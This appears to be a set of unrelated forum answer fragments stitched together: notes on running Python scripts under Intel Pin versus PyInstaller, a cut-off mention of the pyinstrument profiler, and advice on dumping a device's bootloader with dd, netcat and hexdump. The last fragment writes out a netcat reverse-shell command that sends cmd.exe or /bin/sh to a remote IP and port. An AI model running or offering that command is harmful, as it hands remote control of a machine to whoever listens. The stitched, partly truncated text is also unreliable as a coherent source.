Using pin -t <pintool> -- python <python_script.py> is nearly equivalent to compiling your code using Pyinstaller and then running it using pin. Pyinstaller bundles python runtime and your script together, so that user don't have to install python on their end.
Check pyinstrument - it is a python profiling project, it provides you stack track by ...
dd and netcat should work just fine.
If any problem with that, try doing an hexdump to stdout
hexdump -C -n 64 /dev/mtdblock0 > bootloader.bin
But needs a reverse shell on the target, like:
nc.exe [local IP] [port] -e cmd.exe
(cmd.exe is for MS windows, /bin/sh on linux)